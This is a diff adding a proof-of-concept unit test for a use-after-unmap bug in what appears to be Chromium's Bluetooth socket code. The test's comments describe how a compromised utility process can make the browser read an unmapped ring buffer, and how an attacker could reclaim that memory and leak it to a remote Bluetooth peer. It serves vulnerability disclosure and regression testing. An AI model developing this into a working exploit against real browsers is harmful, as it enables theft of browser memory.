diff --git a/device/bluetooth/socket_unittest.cc b/device/bluetooth/socket_unittest.cc index 5a0e4aac622a9..3532b427b748a 100644 --- a/device/bluetooth/socket_unittest.cc +++ b/device/bluetooth/socket_unittest.cc @@ -202,4 +202,74 @@ TEST_F(SocketTest, TestReceiveAndSendMultiple) { WriteAndVerifySend("message_6", /*success=*/true); } +// PoC: SendMore() wraps the Mojo data-pipe ring buffer in a WrappedIOBuffer +// and hands it to BluetoothSocket::Send(). On every shipping platform +// BluetoothSocket::Send() (BluetoothSocketNet / BluetoothSocketAndroid) posts +// the buffer to a separate socket thread and returns. The buffer therefore +// outlives SendMore(). +// +// When the untrusted Nearby utility process closes its mojom::Socket remote, +// the browser-side SelfOwnedReceiver destroys |Socket| on the UI thread. +// ~Socket() resets the data-pipe consumer handle, which synchronously +// munmap()s the ring buffer that the queued WrappedIOBuffer still points +// into. The socket thread then dereferences an unmapped page in +// SocketPosix::DoWrite() -> send(). +// +// This test models exactly that lifetime: FakeBluetoothSocket plays the role +// of BluetoothSocketNet by retaining the IOBuffer reference after Send() +// returns, just as the posted DoSend task would. +TEST_F(SocketTest, SendBufferUseAfterUnmap_PoC) { + // Step 1: the (compromised) utility process writes a byte into the producer + // end of the send pipe. + const std::string payload = "X"; + size_t written = 0; + ASSERT_EQ(MOJO_RESULT_OK, + send_stream_->WriteData(base::as_byte_span(payload), + MOJO_WRITE_DATA_FLAG_NONE, written)); + ASSERT_EQ(payload.size(), written); + + // Step 2: pump the UI thread. Socket::OnSendStreamReadable -> SendMore() + // calls BeginReadData() (returning a span into the consumer's mmap'd ring + // buffer), wraps it in a WrappedIOBuffer, and calls + // bluetooth_socket_->Send(). FakeBluetoothSocket stashes the buffer; in + // production BluetoothSocketNet::Send() PostTasks it to the socket thread. + base::RunLoop().RunUntilIdle(); + ASSERT_TRUE(fake_bluetooth_socket_->HasSendArgs()); + auto send_args = fake_bluetooth_socket_->TakeSendArgs(); + scoped_refptr queued_buffer = std::move(std::get<0>(*send_args)); + int queued_size = std::get<1>(*send_args); + ASSERT_TRUE(queued_buffer); + ASSERT_EQ(1, queued_size); + // Drop the callbacks so their bound WeakPtr doesn't dangle-DCHECK + // when |socket_| is destroyed below. + send_args.reset(); + + // Step 3: utility closes the mojom::Socket remote -> SelfOwnedReceiver + // deletes Socket on the UI thread. ~Socket() -> ShutdownSend() -> + // send_stream_.reset() -> MojoClose() -> munmap() of the consumer ring + // buffer. |queued_buffer->data()| now points at an unmapped page. + socket_.reset(); + + // Also drop the producer end (utility side). In a real attack the utility + // is in another process so this has no bearing on the browser's mapping; + // we drop it here only so that no in-process refcount keeps the consumer + // mapping alive in single-process ipcz mode. + send_stream_.reset(); + receive_stream_.reset(); + base::RunLoop().RunUntilIdle(); + + // Step 4: the socket thread runs DoSend -> SendFrontWriteRequest -> + // tcp_socket_->Write(queued_buffer.get(), queued_size, ...) -> + // SocketPosix::DoWrite() -> send(fd, buf->data(), len, MSG_NOSIGNAL). + // We model that read here. + // + // EXPECTED: SIGSEGV / ASAN "unknown-crash" or "SEGV on unknown address" + // reading an unmapped page. In a real exploit the attacker reclaims this + // 64KB virtual range with browser-process memory, which is then transmitted + // to the attacker-controlled remote Bluetooth peer. + volatile char leaked = queued_buffer->data()[0]; + EXPECT_EQ('X', leaked) << "Read freed/unmapped memory: 0x" << std::hex + << static_cast(leaked); +} + } // namespace bluetooth